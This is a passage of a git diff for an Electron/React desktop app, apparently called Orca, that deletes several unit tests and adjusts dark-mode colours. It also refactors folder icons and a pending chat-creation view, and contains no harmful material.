wsl.exe separator position; later -- belongs to the guest shell. - const separator = argv.findIndex((a) => a === '--' || a === '--exec') - expect(argv[separator]).toBe('--exec') - }) - - it('keeps a script byte-identical instead of encoding it', async () => { - // --exec preserves exact script argv and stdin without base64/eval quote repair (#14292). - const script = `case "$x" in a) echo 'it'\\''s fine';; esac` - await runWslProcess({ loginPath: 'preferred', distro: 'Ubuntu', script }) - expect(spawnSpec().args).toContain(script) - expect(spawnSpec().input).toBeUndefined() - }) - - it('propagates env only through WSLENV', async () => { - await runWslProcess({ - loginPath: 'preferred', - distro: 'Ubuntu', - program: '/bin/true', - env: { GITLAB_HOST: 'git.example.com' } - }) - const env = spawnSpec().env as NodeJS.ProcessEnv - expect(env.WSLENV).toContain('GITLAB_HOST') - }) - - it('runs no shell on the probe lane, so ~/.profile cannot stall it', async () => { - // #14288: blocking profiles must not consume the command timeout. - await runWslProcess({ loginPath: 'preferred', distro: 'Ubuntu', program: 'codex' }) - expect(JSON.stringify(spawnSpec().args)).not.toContain('_orca_wsl_shell') - }) - - it('applies the user login PATH even with no shell in the loop', async () => { - // Keep nvm-installed tools visible through login PATH (#9725/#7563/#8366). - await runWslProcess({ loginPath: 'preferred', distro: 'Ubuntu', program: 'codex' }) - expect(spawnSpec().args).toContain('PATH=/home/u/.nvm/bin:/usr/bin') - }) -}) - -describe('failure modes stay distinguishable', () => { - it('a non-zero exit is data, not an exception', async () => { - // Nonzero process exits resolve; callers must receive the code. - runProcessMock.mockResolvedValue({ - code: 3, - signal: null, - stdout: 'partial', - stderr: '', - timedOut: false - }) - const result = await runWslProcess({ - loginPath: 'preferred', - distro: 'Ubuntu', - program: '/bin/false' - }) - expect(result.code).toBe(3) - expect(result.timedOut).toBe(false) - }) - - it('a timeout is reported, not disguised as an empty answer', async () => { - runProcessMock.mockResolvedValue({ - code: null, - signal: null, - stdout: '', - stderr: '', - timedOut: true - }) - const result = await runWslProcess({ - loginPath: 'preferred', - distro: 'Ubuntu', - program: '/bin/true' - }) - expect(result.timedOut).toBe(true) - }) - - it('an unresolved login PATH is reported, never fatal', async () => { - invalidateWslGuestEnvironment(undefined, true) - runProcessMock.mockResolvedValue({ - code: 1, - signal: null, - stdout: '', - stderr: 'stopped', - timedOut: false - }) - const result = await runWslProcess({ - loginPath: 'preferred', - distro: 'Ubuntu', - program: 'codex' - }) - expect(result.environmentResolved).toBe(false) - }) -}) diff --git a/src/preload/api/hosted-review-api.ts b/src/preload/api/hosted-review-api.ts index 65d6667994b..9df1fdaa232 100644 --- a/src/preload/api/hosted-review-api.ts +++ b/src/preload/api/hosted-review-api.ts @@ -11,11 +11,17 @@ import type { HostedReviewCreationEligibility, HostedReviewCreationEligibilityArgs, HostedReviewForBranchArgs, + HostedReviewForBranchReply, HostedReviewInfo } from '../../shared/hosted-review' export type HostedReviewApi = { - forBranch: (args: HostedReviewForBranchArgs) => Promise + forBranch: { + ( + args: HostedReviewForBranchArgs & { reportReadOutcome?: false } + ): Promise + (args: HostedReviewForBranchArgs): Promise + } getCreationEligibility: ( args: HostedReviewCreationEligibilityArgs ) => Promise diff --git a/src/preload/browser-extension-content-script-relay.test.ts b/src/preload/browser-extension-content-script-relay.test.ts index 5e9cf64f4c0..98d21664c1a 100644 --- a/src/preload/browser-extension-content-script-relay.test.ts +++ b/src/preload/browser-extension-content-script-relay.test.ts @@ -3,7 +3,6 @@ import { describe, expect, it, vi } from 'vitest' import { CONTENT_SCRIPT_RELAY_KEY, createContentScriptRelayBridge, - createContentScriptSyncForward, installContentScriptRelayFilter } from './browser-extension-content-script-relay' import type { BrowserExtensionStorageSyncRelay } from './browser-extension-storage-sync' @@ -120,41 +119,6 @@ describe('content script relay', () => { expect(seen).toEqual([]) }) - it('passes the calling content script’s id to the worker’s answer', async () => { - const answer = vi.fn(async () => ({ ok: true as const, value: {} })) - const worker = install(answer) - const call = { [CONTENT_SCRIPT_RELAY_KEY]: { method: 'set', args: [{ a: 1 }], from: 'cs-1' } } - await worker.dispatch(call, fromContentScript) - expect(answer).toHaveBeenCalledWith('set', [{ a: 1 }], 'cs-1') - }) - - it('sends a content script’s call to the worker and reports a missing worker as an error', async () => { - const sendMessage = vi.fn(async () => ({ ok: true, value: 3 })) - const bridge = createContentScriptRelayBridge(sendMessage, { id: 'ext' }) - await expect(bridge.call('orcaStorageSync', 'getBytesInUse', [null])).resolves.toEqual({ - ok: true, - value: 3 - }) - expect(sendMessage).toHaveBeenCalledWith({ - [CONTENT_SCRIPT_RELAY_KEY]: { - method: 'getBytesInUse', - args: [null], - from: expect.any(String) - } - }) - - const unanswered = createContentScriptRelayBridge( - async () => { - throw new Error('Could not establish connection. Receiving end does not exist.') - }, - { id: 'ext' } - ) - await expect(unanswered.call('orcaStorageSync', 'get', [])).resolves.toEqual({ - ok: false, - error: 'Could not establish connection. Receiving end does not exist.' - }) - }) - it('gives a listening content script the worker’s sync changes, except its own writes', async () => { const native = new Set() const onMessage = { @@ -191,35 +155,6 @@ describe('content script relay', () => { bridge.listen('orcaStorageSync', 'onChanged', false) expect(native.size).toBe(0) }) - - it('sends the worker’s sync changes to every live tab, naming the writer', async () => { - const sendMessage = vi.fn(async () => undefined) - const tabs = { - query: vi.fn(async () => [{ id: 1 }, { id: 2, discarded: true }, { id: 3 }]), - sendMessage - } - const manifest = (contentScripts: unknown[]) => ({ - content_scripts: contentScripts - }) - const withManifest = (contentScripts: unknown[]) => - vi.stubGlobal('chrome', { tabs, runtime: { getManifest: () => manifest(contentScripts) } }) - try { - withManifest([]) - expect(createContentScriptSyncForward()).toBeNull() - withManifest([{ matches: [''], js: ['content.js'] }]) - createContentScriptSyncForward()?.({ a: { newValue: 1 } }, 'cs-1') - await vi.waitFor(() => expect(sendMessage).toHaveBeenCalledTimes(2)) - const message = { - [CONTENT_SCRIPT_RELAY_KEY]: { changes: { a: { newValue: 1 } }, from: 'cs-1' } - } - expect(sendMessage.mock.calls).toEqual([ - [1, message], - [3, message] - ]) - } finally { - vi.unstubAllGlobals() - } - }) }) function isRecord(value: unknown): value is Record { diff --git a/src/renderer/src/app-shell/AppWorkspaceShell.tsx b/src/renderer/src/app-shell/AppWorkspaceShell.tsx index e9633769d0f..3e81d476900 100644 --- a/src/renderer/src/app-shell/AppWorkspaceShell.tsx +++ b/src/renderer/src/app-shell/AppWorkspaceShell.tsx @@ -1,6 +1,8 @@ import { memo, Suspense, useCallback, useRef } from 'react' import { lazyWithRetry as lazy } from '@/lib/lazy-with-retry' import { translate } from '@/i18n/i18n' +import { useAppStore } from '@/store' +import { pendingCreationOpensNativeChat } from '@/lib/pending-worktree-creation' import Sidebar from '../components/Sidebar' import RightSidebar from '../components/right-sidebar' import { RecoverableRenderErrorBoundary } from '../components/error-boundaries/RecoverableRenderErrorBoundary' @@ -19,6 +21,9 @@ const Landing = lazy(() => import('../components/Landing')) const WorktreeCreationPanel = lazy( () => import('../components/worktree-creation/WorktreeCreationPanel') ) +const PendingNativeChatCreation = lazy( + () => import('../components/worktree-creation/PendingNativeChatCreation') +) const TaskPage = lazy(() => import('../components/task-page/TaskPage')) const AutomationsPage = lazy(() => import('../components/automations/AutomationsPage')) const ActivityPrototypePage = lazy(() => import('../components/activity/ActivityPrototypePage')) @@ -67,6 +72,18 @@ function WorktreeSidebar({ ) } +// A chat-bound creation shows the chat itself, usable before its worktree exists. +function PendingCreationSurface(props: { + creationId: string + reserveCollapsedSidebarHeaderSpace: boolean +}): React.JSX.Element { + const opensChat = useAppStore((s) => { + const entry = s.pendingWorktreeCreations[props.creationId] + return entry ? pendingCreationOpensNativeChat(entry) : false + }) + return opensChat ? : +} + function ActivePage({ layout }: { layout: AppChromeLayout }): React.JSX.Element { const { activeView, hasActiveWorktree, activePendingCreationId, creationLayoutActive } = layout return ( @@ -80,7 +97,7 @@ function ActivePage({ layout }: { layout: AppChromeLayout }): React.JSX.Element {activeView === 'space' ? : null} {activeView === 'mobile' ? : null} {activeView === 'terminal' && creationLayoutActive && activePendingCreationId ? ( - diff --git a/src/renderer/src/assets/main.css b/src/renderer/src/assets/main.css index 37c2eceb079..f5069fbfcb9 100644 --- a/src/renderer/src/assets/main.css +++ b/src/renderer/src/assets/main.css @@ -299,19 +299,19 @@ .dark { --orca-security-background: #0a0a0a; - --orca-security-foreground: #fafafa; + --orca-security-foreground: #e5e5e5; --orca-security-card: #171717; - --orca-security-card-foreground: #fafafa; + --orca-security-card-foreground: #e5e5e5; --orca-security-popover: #171717; - --orca-security-popover-foreground: #fafafa; + --orca-security-popover-foreground: #e5e5e5; --orca-security-primary: #e5e5e5; --orca-security-primary-foreground: #171717; --orca-security-secondary: #262626; - --orca-security-secondary-foreground: #fafafa; + --orca-security-secondary-foreground: #e5e5e5; --orca-security-muted: #262626; --orca-security-muted-foreground: #a1a1a1; --orca-security-accent: #404040; - --orca-security-accent-foreground: #fafafa; + --orca-security-accent-foreground: #e5e5e5; --orca-security-border: rgb(255 255 255 / 0.07); --orca-security-input: rgb(255 255 255 / 0.15); --orca-security-ring: #737373; @@ -319,7 +319,7 @@ --orca-security-dialog-surface: rgba(23, 23, 23, 0.96); --background: #0a0a0a; --editor-surface: #1e1e1e; - --foreground: #fafafa; + --foreground: #e5e5e5; --chat-canvas-mix: 5%; --chat-foreground-mix: 78%; --chat-strong-mix: 90%; @@ -336,19 +336,19 @@ --chat-composer-border-mix: 9%; --chat-content-max-width: 46rem; --card: #171717; - --card-foreground: #fafafa; + --card-foreground: #e5e5e5; --popover: #171717; - --popover-foreground: #fafafa; + --popover-foreground: #e5e5e5; --floating-surface: rgba(0, 0, 0, 0.72); --dialog-surface: rgba(23, 23, 23, 0.96); --primary: #e5e5e5; --primary-foreground: #171717; --secondary: #262626; - --secondary-foreground: #fafafa; + --secondary-foreground: #e5e5e5; --muted: #262626; --muted-foreground: #a1a1a1; --accent: #404040; - --accent-foreground: #fafafa; + --accent-foreground: #e5e5e5; --border: rgb(255 255 255 / 0.07); --input: rgb(255 255 255 / 0.15); --ring: #737373; @@ -366,19 +366,19 @@ --chart-5: var(--color-blue-800); /* Mirror light mode’s lifted worktree sidebar above the dark canvas. */ --worktree-sidebar: #2a2a2a; - --worktree-sidebar-foreground: #fafafa; + --worktree-sidebar-foreground: #e5e5e5; --worktree-sidebar-accent: #353535; - --worktree-sidebar-accent-foreground: #fafafa; + --worktree-sidebar-accent-foreground: #e5e5e5; /* Match --border / --sidebar-border (7%) so the left sidebar's divider lines aren't brighter than the rest of the UI in dark mode (#5906). */ --worktree-sidebar-border: rgb(255 255 255 / 0.07); --worktree-sidebar-ring: #737373; --sidebar: #171717; - --sidebar-foreground: #fafafa; + --sidebar-foreground: #e5e5e5; --sidebar-primary: #1447e6; - --sidebar-primary-foreground: #fafafa; + --sidebar-primary-foreground: #e5e5e5; --sidebar-accent: #262626; - --sidebar-accent-foreground: #fafafa; + --sidebar-accent-foreground: #e5e5e5; --sidebar-border: rgb(255 255 255 / 0.07); --sidebar-ring: #525252; --terminal-pane-title-on-dark-fg: rgb(255 255 255 / 0.52); diff --git a/src/renderer/src/components/FileTypeIcon.tsx b/src/renderer/src/components/FileTypeIcon.tsx index 9ab5e710fe3..cad4e7776e8 100644 --- a/src/renderer/src/components/FileTypeIcon.tsx +++ b/src/renderer/src/components/FileTypeIcon.tsx @@ -1,6 +1,10 @@ import { createElement, type CSSProperties } from 'react' import { Folder, FolderOpen } from 'lucide-react' -import { getFileTypeIcon, getPluginFileTypeIconIndex } from '@/lib/file-type-icons' +import { + getFileTypeIcon, + getPluginFileTypeIconIndex, + getPluginFolderIconIndex +} from '@/lib/file-type-icons' import { PLUGIN_ICON_ATTRIBUTE, useActivePluginIconTheme } from '@/store/plugin-icon-themes' type IconProps = { className?: string; style?: CSSProperties } @@ -33,14 +37,19 @@ export function FileTypeIcon({ ) } +/** A folder's icon; `folderPath` lets an icon theme pick one for its name, such as `src`. */ export function FolderIcon({ + folderPath, open, className, style -}: IconProps & { open: boolean }): React.JSX.Element { - const theme = useActivePluginIconTheme((s) => s.theme) - const index = open ? theme?.icons['folder-open'] : theme?.icons.folder - return index === undefined ? ( +}: IconProps & { folderPath?: string; open: boolean }): React.JSX.Element { + const index = getPluginFolderIconIndex( + useActivePluginIconTheme((s) => s.theme), + folderPath, + open + ) + return index === null ? ( createElement(open ? FolderOpen : Folder, { 'aria-hidden': true, className, style }) ) : ( diff --git a/src/renderer/src/components/browser-pane/assemble-chrome/browser-extension-action-menu.test.tsx b/src/renderer/src/components/browser-pane/assemble-chrome/browser-extension-action-menu.test.tsx deleted file mode 100644 index 3e176311afb..00000000000 --- a/src/renderer/src/components/browser-pane/assemble-chrome/browser-extension-action-menu.test.tsx +++ /dev/null @@ -1,109 +0,0 @@ -// @vitest-environment happy-dom - -import { act } from 'react' -import { createRoot, type Root } from 'react-dom/client' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { ConfirmationDialogContext } from '@/components/confirmation-dialog-context' -import { DropdownMenu, DropdownMenuContent } from '@/components/ui/dropdown-menu' -import type { BrowserExtensionContextMenuPayload } from '../../../../../shared/browser-extension-context-menu-types' -import type { BrowserExtensionToolbarAction } from '../../../../../shared/browser-extension-toolbar-types' -import { - BrowserExtensionDropdownEntries, - useBrowserExtensionActionMenuEntries -} from './browser-extension-action-menu' - -const EXTENSION_ID = 'a'.repeat(32) -const action: BrowserExtensionToolbarAction = { - extensionId: EXTENSION_ID, - name: 'Notes', - title: 'Notes', - iconDataUrl: null, - badgeText: '', - badgeBackgroundColor: null, - badgeTextColor: null, - enabled: true, - hasPopup: false, - pinned: true, - hasOptionsPage: false, - source: 'unpacked' -} -const menu: BrowserExtensionContextMenuPayload = { - token: 'token-1', - groups: [ - { - extensionId: EXTENSION_ID, - items: [ - { - key: '"save"', - title: 'Save page', - type: 'normal', - checked: false, - enabled: true, - children: [] - } - ] - } - ] -} - -const declineConfirmation = async (): Promise => false - -function OpenActionMenu(): React.JSX.Element { - const entries = useBrowserExtensionActionMenuEntries('default', action, 'page-1') - return ( - - - - - - ) -} - -let root: Root -let container: HTMLDivElement -const fetchMenu = vi.fn(async () => menu) -const click = vi.fn(async () => true) - -beforeEach(() => { - container = document.createElement('div') - document.body.append(container) - root = createRoot(container) - Object.assign(window, { - api: { browser: { extensionsActionContextMenu: fetchMenu, extensionsContextMenuClick: click } } - }) -}) - -afterEach(() => { - act(() => root.unmount()) - container.remove() - fetchMenu.mockClear() - click.mockClear() -}) - -describe('extension action menu', () => { - it("shows the extension's action items and clicks them through main's snapshot", async () => { - await act(async () => { - root.render( - - - - ) - }) - - expect(fetchMenu).toHaveBeenCalledWith({ - profileId: 'default', - extensionId: EXTENSION_ID, - browserPageId: 'page-1' - }) - const item = [...document.querySelectorAll('[role="menuitem"]')].find( - (element) => element.textContent?.trim() === 'Save page' - ) - expect(item).toBeDefined() - act(() => item?.click()) - expect(click).toHaveBeenCalledWith({ - token: 'token-1', - extensionId: EXTENSION_ID, - key: '"save"' - }) - }) -}) diff --git a/src/renderer/src/components/browser-pane/stream-remote/use-remote-browser-page-navigation.test.ts b/src/renderer/src/components/browser-pane/stream-remote/use-remote-browser-page-navigation.test.ts index e945777d241..d5e2d798f33 100644 --- a/src/renderer/src/components/browser-pane/stream-remote/use-remote-browser-page-navigation.test.ts +++ b/src/renderer/src/components/browser-pane/stream-remote/use-remote-browser-page-navigation.test.ts @@ -56,21 +56,6 @@ describe('useRemoteBrowserPageNavigation history recording', () => { afterEach(() => cleanup()) - it('files an observed remote navigation into the URL history the address bar suggests from', () => { - const { result } = renderNavigation() - - act(() => - result.current.applyRemoteTabInfo({ - url: 'https://remote.internal/docs', - title: 'Remote docs' - }) - ) - - expect(useAppStore.getState().browserUrlHistory).toEqual([ - expect.objectContaining({ url: 'https://remote.internal/docs', title: 'Remote docs' }) - ]) - }) - it('files one entry however often the same page is re-read', () => { const { result } = renderNavigation() @@ -117,14 +102,6 @@ describe('useRemoteBrowserPageNavigation history recording', () => { ]) }) - it('never files a blank page, which is what a new tab reports before it navigates', () => { - const { result } = renderNavigation() - - act(() => result.current.applyRemoteTabInfo({ url: 'about:blank', title: '' })) - - expect(useAppStore.getState().browserUrlHistory).toHaveLength(0) - }) - it('redacts a Kagi session token before it reaches history', () => { const { result } = renderNavigation() diff --git a/src/renderer/src/components/contextual-tours/contextual-tour-overlay-measurement.test.ts b/src/renderer/src/components/contextual-tours/contextual-tour-overlay-measurement.test.ts index 0c01acbd88d..c40a6d11fa8 100644 --- a/src/renderer/src/components/contextual-tours/contextual-tour-overlay-measurement.test.ts +++ b/src/renderer/src/components/contextual-tours/contextual-tour-overlay-measurement.test.ts @@ -3,12 +3,7 @@ import { afterEach, describe, expect, it, vi } from 'vitest' import { getContextualTour } from '../../../../shared/contextual-tours' import { i18n, loadRendererUiLanguage } from '@/i18n/i18n' -import { - getContextualTourDisplayProgress, - getContextualTourMeasurementAction, - measureContextualTourOverlayRenderState, - isContextualTourLastDisplayStep -} from './contextual-tour-overlay-measurement' +import { measureContextualTourOverlayRenderState } from './contextual-tour-overlay-measurement' afterEach(async () => { document.body.replaceChildren() @@ -16,56 +11,6 @@ afterEach(async () => { }) describe('contextual tour overlay measurement', () => { - it('renders the automation tour copy in Korean when the UI locale is Korean', async () => { - await i18n.changeLanguage(await loadRendererUiLanguage('ko')) - const target = document.createElement('button') - target.setAttribute('data-contextual-tour-target', 'automations-create') - target.getBoundingClientRect = () => new DOMRect(0, 0, 20, 20) - document.body.appendChild(target) - - const result = measureContextualTourOverlayRenderState({ - tour: getContextualTour('automations'), - activeStepIndex: 0, - sidebarOpen: true, - keybindings: undefined, - previousTelemetryTotalSteps: 0 - }) - - expect(result.kind).toBe('render') - if (result.kind !== 'render') { - throw new Error(`Expected render result, received ${result.kind}`) - } - expect(result.renderState.title).toBe('자동화란 무엇인가요?') - expect(result.renderState.body).toBe( - '자동화는 일정에 따라 agent 작업을 실행합니다. 이 버튼을 눌러 자동화를 추가하세요.' - ) - }) - - it('renders the automation results step in Korean when the UI locale is Korean', async () => { - await i18n.changeLanguage(await loadRendererUiLanguage('ko')) - const target = document.createElement('div') - target.setAttribute('data-contextual-tour-target', 'automations-runs') - target.getBoundingClientRect = () => new DOMRect(0, 0, 20, 20) - document.body.appendChild(target) - - const result = measureContextualTourOverlayRenderState({ - tour: getContextualTour('automations'), - activeStepIndex: 1, - sidebarOpen: true, - keybindings: undefined, - previousTelemetryTotalSteps: 0 - }) - - expect(result.kind).toBe('render') - if (result.kind !== 'render') { - throw new Error(`Expected render result, received ${result.kind}`) - } - expect(result.renderState.title).toBe('결과 확인') - expect(result.renderState.body).toBe( - '실행 내역에서 자동화가 언제 실행되었는지, 어떤 일이 발생했는지, 출력을 어디서 확인할 수 있는지 볼 수 있습니다.' - ) - }) - it('localizes the title, shortcut body, and action label of non-automation steps', async () => { await i18n.changeLanguage(await loadRendererUiLanguage('ko')) const target = document.createElement('div') @@ -127,43 +72,6 @@ describe('contextual tour overlay measurement', () => { } expect(result.renderState.title).toBe('자동화란 무엇인가요?') }) - - it('shows all defined browser steps in progress even when step 3 is hidden', () => { - const tour = getContextualTour('browser') - - expect( - getContextualTourDisplayProgress({ - tour, - visibleStepIndexes: [0, 1], - stepIndex: 1, - activeStep: tour.steps[1] - }) - ).toEqual({ current: 2, total: 3 }) - }) - - it('waits for the browser cookie step target instead of cancelling', () => { - const tour = getContextualTour('browser') - - expect( - getContextualTourMeasurementAction({ - tour, - visibleStepIndexes: [0, 1], - activeStepIndex: 2 - }) - ).toEqual({ kind: 'wait' }) - }) - - it('treats browser step 3 as the last display step', () => { - const tour = getContextualTour('browser') - - expect( - isContextualTourLastDisplayStep({ - tour, - activeStepIndex: 2, - progress: { current: 3, total: 3 } - }) - ).toBe(true) - }) }) const { rejectAppStoreAccess } = vi.hoisted(() => ({ diff --git a/src/renderer/src/components/contextual-tours/use-contextual-tour.test.ts b/src/renderer/src/components/contextual-tours/use-contextual-tour.test.ts deleted file mode 100644 index f6c7cffb929..00000000000 --- a/src/renderer/src/components/contextual-tours/use-contextual-tour.test.ts +++ /dev/null @@ -1,120 +0,0 @@ -import { describe, expect, it, vi } from 'vitest' -import { - createContextualTourInteractionSnapshot, - shouldRequestContextualTourAfterInteraction -} from './use-contextual-tour' -import type { ContextualTourId } from '../../../../shared/contextual-tours' - -describe('shouldRequestContextualTourAfterInteraction', () => { - it('waits for persisted seen ids before allowing a tour request', async () => { - let resolvePersisted!: () => void - const persisted = new Promise((resolve) => { - resolvePersisted = resolve - }) - const seenIds: ContextualTourId[] = [] - const requestReady = shouldRequestContextualTourAfterInteraction({ - id: 'tasks', - persisted, - isCancelled: () => false, - getContextualToursSeenIds: () => seenIds - }) - - let settled = false - void requestReady.then(() => { - settled = true - }) - await Promise.resolve() - expect(settled).toBe(false) - - seenIds.push('tasks') - resolvePersisted() - - await expect(requestReady).resolves.toBe(false) - }) - - it('allows the request when the tour remains unseen after persistence settles', async () => { - await expect( - shouldRequestContextualTourAfterInteraction({ - id: 'tasks', - persisted: Promise.resolve(), - isCancelled: () => false, - getContextualToursSeenIds: () => [] - }) - ).resolves.toBe(true) - }) -}) - -describe('createContextualTourInteractionSnapshot', () => { - it('records regular contextual-tour feature interactions before requesting', async () => { - const persisted = Promise.resolve() - const recordFeatureInteraction = vi.fn(() => persisted) - - const snapshot = createContextualTourInteractionSnapshot({ - id: 'tasks', - featureInteractions: {}, - recordFeatureInteraction, - recordFeatureInteractionForTour: true - }) - - expect(recordFeatureInteraction).toHaveBeenCalledWith('tasks') - expect(snapshot.wasPreviouslyInteracted).toBe(false) - await expect(snapshot.persisted).resolves.toBeUndefined() - }) - - it('reuses the floating workspace pre-open snapshot without double-recording', async () => { - const persisted = Promise.resolve() - const recordFeatureInteraction = vi.fn(() => Promise.resolve()) - - const snapshot = createContextualTourInteractionSnapshot({ - id: 'floating-workspace', - featureInteractions: { - 'floating-workspace': { - firstInteractedAt: 1, - interactionCount: 1 - } - }, - recordFeatureInteraction, - recordFeatureInteractionForTour: false, - featureInteractionPersisted: persisted, - wasFeaturePreviouslyInteracted: false - }) - - expect(recordFeatureInteraction).not.toHaveBeenCalled() - expect(snapshot.wasPreviouslyInteracted).toBe(false) - expect(snapshot.persisted).toBe(persisted) - }) - - it('marks existing floating workspace users from the explicit pre-open snapshot', () => { - const snapshot = createContextualTourInteractionSnapshot({ - id: 'floating-workspace', - featureInteractions: {}, - recordFeatureInteraction: vi.fn(() => Promise.resolve()), - recordFeatureInteractionForTour: false, - wasFeaturePreviouslyInteracted: true - }) - - expect(snapshot.wasPreviouslyInteracted).toBe(true) - }) - - it('can record after hydration while preserving an explicit pre-open snapshot', () => { - const persisted = Promise.resolve() - const recordFeatureInteraction = vi.fn(() => persisted) - - const snapshot = createContextualTourInteractionSnapshot({ - id: 'floating-workspace', - featureInteractions: { - 'floating-workspace': { - firstInteractedAt: 1, - interactionCount: 1 - } - }, - recordFeatureInteraction, - recordFeatureInteractionForTour: true, - wasFeaturePreviouslyInteracted: false - }) - - expect(recordFeatureInteraction).toHaveBeenCalledWith('floating-workspace') - expect(snapshot.wasPreviouslyInteracted).toBe(false) - expect(snapshot.persisted).toBe(persisted) - }) -}) diff --git a/src/renderer/src/components/dashboard-popout/preview-terminal-links.test.ts b/src/renderer/src/components/dashboard-popout/preview-terminal-links.test.ts deleted file mode 100644 index d938f30bcbb..00000000000 --- a/src/renderer/src/components/dashboard-popout/preview-terminal-links.test.ts +++ /dev/null @@ -1,35 +0,0 @@ -// @vitest-environment happy-dom - -import { afterEach, expect, it, vi } from 'vitest' -import { Terminal } from '@xterm/xterm' -import { isMacPlatform } from '@/components/terminal-pane/terminal-link-open-hints' -import { installPreviewTerminalLinks } from './preview-terminal-links' - -afterEach(() => { - vi.unstubAllGlobals() -}) - -it('opens OSC 8 hyperlinks on Mod+click instead of the xterm confirm prompt (#34229)', () => { - const openUrl = vi.fn(async () => undefined) - vi.stubGlobal('api', { shell: { openUrl } }) - const terminal = new Terminal() - installPreviewTerminalLinks(terminal) - const handler = terminal.options.linkHandler - const url = 'https://github.com/stablyai/orca/pull/1' - const range = { start: { x: 1, y: 1 }, end: { x: 2, y: 1 } } - - handler?.activate(new MouseEvent('click', { button: 0 }), url, range) - expect(openUrl).not.toHaveBeenCalled() - - const mac = isMacPlatform() - const modClick = new MouseEvent('click', { - button: 0, - cancelable: true, - metaKey: mac, - ctrlKey: !mac - }) - handler?.activate(modClick, url, range) - expect(openUrl).toHaveBeenCalledWith(url) - expect(modClick.defaultPrevented).toBe(true) - terminal.dispose() -}) diff --git a/src/renderer/src/components/dashboard-popout/remote-runtime-terminal-preview-api.test.ts b/src/renderer/src/components/dashboard-popout/remote-runtime-terminal-preview-api.test.ts index 973715a5c61..00e0f5ceecd 100644 --- a/src/renderer/src/components/dashboard-popout/remote-runtime-terminal-preview-api.test.ts +++ b/src/renderer/src/components/dashboard-popout/remote-runtime-terminal-preview-api.test.ts @@ -76,18 +76,6 @@ describe('remoteRuntimeTerminalPreviewApi', () => { harness.subscriptions.length = 0 }) - it('subscribes on the host named by the pty id with a preview-only client', async () => { - const { sub, payloads } = await openPreview() - expect(sub.environmentId).toBe('env-a') - expect(sub.terminal).toBe('term-1') - expect(sub.clientId).toMatch(/^dashboard-preview:/) - - sub.callbacks.onData('live', { seq: 14 }) - expect(payloads).toEqual([{ type: 'data', ptyId: PTY, data: 'live', bytes: 4 }]) - await expect(api.input(PTY, 'x')).resolves.toBe(true) - expect(sub.stream.sendInput).toHaveBeenCalledWith('x') - }) - it('refuses an id without its owning host instead of guessing one', async () => { await expect(api.connect('remote:term-1')).resolves.toEqual({ snapshot: null, replay: [] }) expect(harness.subscriptions).toHaveLength(0) diff --git a/src/renderer/src/components/dictation/DictationIndicator.test.tsx b/src/renderer/src/components/dictation/DictationIndicator.test.tsx index a5485564c4d..51f45670e7d 100644 --- a/src/renderer/src/components/dictation/DictationIndicator.test.tsx +++ b/src/renderer/src/components/dictation/DictationIndicator.test.tsx @@ -80,85 +80,4 @@ describe('DictationIndicator', () => { document.removeEventListener(DICTATION_CONTROL_EVENT, listener) expect(actions).toEqual(['stop']) }) - - it('keeps focus on the dictation target when the stop button is pressed', () => { - render() - const stopButton = screen.getByRole('button', { name: 'Stop dictation' }) - - expect(fireEvent.mouseDown(stopButton)).toBe(false) - }) - - it('shows the assigned shortcut in the stop button tooltip in toggle mode', () => { - render() - - const tooltip = screen.getByTestId('tooltip-content') - expect(tooltip.textContent).toContain('Stop dictation') - expect(tooltip.textContent).toContain('⌘') - expect(tooltip.textContent).toContain('E') - }) - - it('keeps the shortcut out of the always-visible pill, showing it only on hover', () => { - const { container } = render() - const pill = container.firstChild as HTMLElement - - expect(pill.textContent).toContain('Listening') - expect(pill.textContent).not.toContain('⌘') - }) - - it('omits the shortcut chip in hold mode, where release stops dictation', () => { - storeState.settings = { voice: { dictationMode: 'hold' } } - render() - - expect(screen.getByRole('button', { name: 'Stop dictation' })).toBeTruthy() - expect(screen.getByTestId('tooltip-content').textContent).not.toContain('⌘') - }) - - it('hides the stop control once the session is already stopping', () => { - storeState.dictationState = 'stopping' - render() - - expect(screen.getByText('Processing…', { selector: '[aria-hidden="true"]' })).toBeTruthy() - expect(screen.queryByRole('button', { name: 'Stop dictation' })).toBeNull() - }) - - it('renders nothing while idle', () => { - storeState.dictationState = 'idle' - const { container } = render() - - expect(container.firstChild).toBeNull() - }) - - it('reacts to speaking audio and exposes the semantic state', () => { - storeState.dictationMeter = { - level: 0.72, - isSpeaking: true, - isClipping: false - } - render() - - expect(screen.getByText('Speaking')).toBeTruthy() - expect(screen.getByRole('status').textContent).toBe('Listening') - expect(screen.getByTestId('dictation-grapes').children).toHaveLength(9) - }) - - it('uses the destructive role only while clipping', () => { - storeState.dictationMeter = { - level: 1, - isSpeaking: true, - isClipping: true - } - const { container } = render() - - expect(screen.getByText('Too loud', { selector: '[aria-hidden="true"]' })).toBeTruthy() - expect((container.firstChild as HTMLElement).className).toContain('text-destructive') - }) - - it('keeps streaming transcript separate from the listening state', () => { - storeState.partialTranscript = 'A polished voice visualizer' - render() - - expect(screen.getByText('Listening', { selector: '[aria-hidden="true"]' })).toBeTruthy() - expect(screen.getByText('A polished voice visualizer')).toBeTruthy() - expect(screen.getByRole('status').textContent).toBe('Listening') - }) }) diff --git a/src/renderer/src/components/editor/ConflictReviewFileTree.tsx b/src/renderer/src/components/editor/ConflictReviewFileTree.tsx index f4c1b023fbf..dfa0e800d9d 100644 --- a/src/renderer/src/components/editor/ConflictReviewFileTree.tsx +++ b/src/renderer/src/components/editor/ConflictReviewFileTree.tsx @@ -1,7 +1,7 @@ import React from 'react' -import { ChevronDown, Folder, FolderOpen, PanelLeftClose } from 'lucide-react' +import { ChevronDown, PanelLeftClose } from 'lucide-react' import { Button } from '@/components/ui/button' -import { FileTypeIcon } from '@/components/FileTypeIcon' +import { FileTypeIcon, FolderIcon } from '@/components/FileTypeIcon' import { cn } from '@/lib/utils' import { buildSourceControlTree, @@ -152,11 +152,7 @@ function ConflictReviewFileTreeRow({ - {isCollapsed ? ( - - ) : ( - - )} + {node.name} {node.fileCount} diff --git a/src/renderer/src/components/editor/DiagramViewerModal.test.tsx b/src/renderer/src/components/editor/DiagramViewerModal.test.tsx index c6ebc32191d..530011dc85c 100644 --- a/src/renderer/src/components/editor/DiagramViewerModal.test.tsx +++ b/src/renderer/src/components/editor/DiagramViewerModal.test.tsx @@ -131,19 +131,6 @@ describe('DiagramViewerModal', () => { await waitFor(() => expect(document.activeElement).toBe(opener)) }) - it('re-serializes the HTML-serialized sanitizer output as an XML image document', async () => { - // Chromium’s sanitizer emits   for U+00A0; happy-dom preserves the entity during XML serialization, so assert successful 